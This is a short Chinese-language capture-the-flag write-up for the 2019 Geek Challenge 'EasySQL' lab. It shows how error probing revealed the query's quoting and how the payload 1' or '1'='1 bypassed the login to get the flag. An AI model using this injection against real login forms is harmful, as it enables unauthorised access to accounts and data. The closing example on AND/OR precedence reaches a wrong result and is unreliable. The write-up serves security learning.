极客大挑战2019EasySQL

极客大挑战2019EasySQL_第1张图片
进入靶机主页
极客大挑战2019EasySQL_第2张图片
题目叫EasySQL,跟SQL注入有关
尝试登录
极客大挑战2019EasySQL_第3张图片
使用Get方法,将usernamepassword放在url里,且password没有经过加密
极客大挑战2019EasySQL_第4张图片
猜测查询语句为

select * from user where username="<>" and password = "<>" 

那这道题就是字符注入
构造报错的payload1'/1"
极客大挑战2019EasySQL_第5张图片
出现报错提示
极客大挑战2019EasySQL_第6张图片
根据报错信息得,查询语句应该是

select * from user where username='<>' and password = '<>' 

构造注入Payload=1' or '1' = '1
极客大挑战2019EasySQL_第7张图片
拿到flag
极客大挑战2019EasySQL_第8张图片

附加知识点:
在sql执行中,and的优先级>or的优先级
所以

SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='2'
false or (true and false) or false
false or false or false
=false

你可能感兴趣的:(ctf安全漏洞)